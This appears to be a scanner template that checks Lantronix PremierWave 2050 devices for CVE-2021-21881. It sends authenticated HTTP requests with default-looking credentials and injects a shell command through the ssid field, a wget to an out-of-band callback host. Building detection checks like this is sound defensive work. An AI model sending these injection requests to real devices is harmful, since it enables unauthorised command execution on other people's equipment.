42 lines
1.4 KiB
YAML
42 lines
1.4 KiB
YAML
id: CVE-2021-21881
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info:
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name: Lantronix PremierWave 2050 - Remote Code Execution
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author: gy741
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severity: critical
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description: An OS command injection vulnerability exists in the Web Manager Wireless Network Scanner functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to command
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execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21881
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.9
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cve-id: CVE-2021-21881
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cwe-id: CWE-78
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tags: cve,cve2021,lantronix,rce,oast,cisco
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requests:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic dXNlcjp1c2Vy
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Content-Type: application/x-www-form-urlencoded
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ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic YWRtaW46UEFTUw==
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Content-Type: application/x-www-form-urlencoded
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ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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